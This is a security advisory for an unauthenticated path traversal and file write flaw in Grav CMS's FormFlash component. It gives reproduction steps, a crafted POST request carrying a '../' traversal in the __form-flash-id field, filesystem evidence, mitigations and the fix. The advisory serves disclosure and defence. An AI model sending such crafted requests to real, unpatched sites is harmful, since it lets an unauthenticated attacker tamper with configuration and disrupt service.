Loading advisory.
Loading advisory.
Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component
[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection
Published 2026-05-05 21:34 UTC · Modified 2026-09-10 03:51 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| getgrav/grav | Packagist | < 2.0.0-beta.2 versions 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11, 0.9.12, 0.9.13, 0.9.14, 0.9.15, 0.9.16, 0.9.17, 0.9.18, 0.9.19, 0.9.2, 0.9.20, 0.9.21, 0.9.22, 0.9.23, 0.9.24, 0.9.25 and 301 more | 2.0.0-beta.2 | composer require 'getgrav/grav:>=2.0.0-beta.2' |
[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection
Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.
This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.
Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).
Class: Grav\Framework\Form\FormFlash
Method: __construct() / getTmpDir()
Parameter: session_id (Mapped to __form-flash-id in POST requests)
The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:
$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');
$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).
Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).
Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.
Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).
CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.
Identify any page containing a Grav Form (e.g., /contact).
Intercept the POST request during form submission.
Modify the __form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proof_dir).
Submit the request.
Observe that a new directory (poc/) and file (index.yaml) have been created at the traversed path.
POST /contact HTTP/1.1
Host: target.grav.cms
Content-Type: application/x-www-form-urlencoded
__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=PayloadHTTP/1.1 302 Found (Standard redirect)
Filesystem Modification:
Directory Created: /var/www/html/user/config/proof_dir/poc/
File Created: /var/www/html/user/config/proof_dir/poc/index.yaml
Status: Directory does not exist.
Evidence:
$ ls -la /var/www/html/user/config/proof_dir/
ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directoryStatus: Arbitrary directory and index.yaml created.
Evidence:
$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml
-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml
$ cat /var/www/html/user/config/proof_dir/poc/index.yaml
form: ''
id: ''
unique_id: poc
...
data:
poc_status: confirmedClarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.
Configuration Injection: Writing index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.
Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.
Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).
Authentication: None (Unauthenticated)
Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)
Complexity: Low. Requires only basic HTTP POST parameters.
Reliability: 100% (Deterministically reproducible in vulnerable versions).
Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.
Sanitize Session IDs: Apply basename() or a strict alphanumeric regex to the session_id in FormFlash before path construction.
Filesystem Hardening: Ensure user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.
Update Grav: Monitor for patches addressing FormFlash sanitization.
Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: FormFlash::__construct() now sanitizes session_id, unique_id, and id through a strict [A-Za-z0-9,_-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a __form-flash-id=../../user/config/proof_dir POST simply does nothing on disk.
Files:
tests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.023 on 2026-11-24 to 0.021 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.023 | first score | v2026.06.15 |
| 2026-11-26 | 0.021 | 0.023 | v2026.06.15 |